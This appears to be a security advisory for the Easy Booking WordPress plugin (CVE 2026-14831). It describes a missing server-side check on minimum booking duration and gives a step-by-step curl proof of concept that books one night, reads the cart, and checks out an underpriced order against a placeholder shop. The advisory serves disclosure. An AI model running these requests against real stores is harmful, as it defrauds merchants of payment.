Easy Booking < 3.5.0 – Unauthenticated Minimum Booking Duration Bypass | CVE 2026-14831

Description

The plugin does not re-enforce a bookable product's configured minimum booking duration on the server side when adding to cart and calculating the booking price, allowing unauthenticated users to place below-minimum bookings and complete underpriced orders.

Proof of Concept

Prerequisites: WooCommerce active; one bookable simple product priced per night, configured with a minimum booking duration of 2 or more nights (a standard, documented merchant setting) and booking mode = nights; a payment method (e.g. Cash on Delivery) enabled. Let {P} be the product ID.

The plugin exposes the product's minimum-duration constraint to the frontend datepicker for client-side enforcement, but the server-side add-to-cart and booking-price path never re-checks it. An unauthenticated visitor can therefore submit a below-minimum booking and reach an underpriced cart and order.

1. As an anonymous visitor, add a 1-night booking to the cart on a product configured with a 7-night minimum:

   curl -s -c jar.txt -b jar.txt \
     "https://victim.example/?add-to-cart={P}&quantity=1&start_date_submit=2026-08-01&end_date_submit=2026-08-02"

2. Read the cart total via the Store API; it reflects the 1-night price, not the 7-night minimum:

   curl -s -c jar.txt -b jar.txt "https://victim.example/wp-json/wc/store/v1/cart"

3. Control: a valid 7-night booking prices at 7x, confirming the minimum is a real merchant rule being bypassed:

   curl -s -c jarv.txt -b jarv.txt \
     "https://victim.example/?add-to-cart={P}&quantity=1&start_date_submit=2026-08-01&end_date_submit=2026-08-08"
   curl -s -c jarv.txt -b jarv.txt "https://victim.example/wp-json/wc/store/v1/cart"

4. (Optional) Complete checkout on the underpriced cart to create a real order:

   NONCE=$(curl -s -c jar.txt -b jar.txt -D - -o /dev/null "https://victim.example/wp-json/wc/store/v1/cart" | awk -F': ' 'tolower($1)=="nonce"{print $2}' | tr -d '\r')
   curl -s -c jar.txt -b jar.txt -X POST "https://victim.example/wp-json/wc/store/v1/checkout" \
     -H "Content-Type: application/json" -H "Nonce: $NONCE" \
     -d '{"billing_address":{"first_name":"PoC","last_name":"Buyer","address_1":"1 Test St","city":"Los Angeles","state":"CA","postcode":"90001","country":"US","email":"poc@example.test","phone":"1234567890"},"shipping_address":{"first_name":"PoC","last_name":"Buyer","address_1":"1 Test St","city":"Los Angeles","state":"CA","postcode":"90001","country":"US","phone":"1234567890"},"payment_method":"cod","payment_data":[],"create_account":false,"additional_fields":{},"extensions":{}}'

Result: a below-minimum (1-night) booking is accepted and converts to an underpriced WooCommerce order (e.g. 10000 instead of the intended 70000 for the configured 7-night minimum).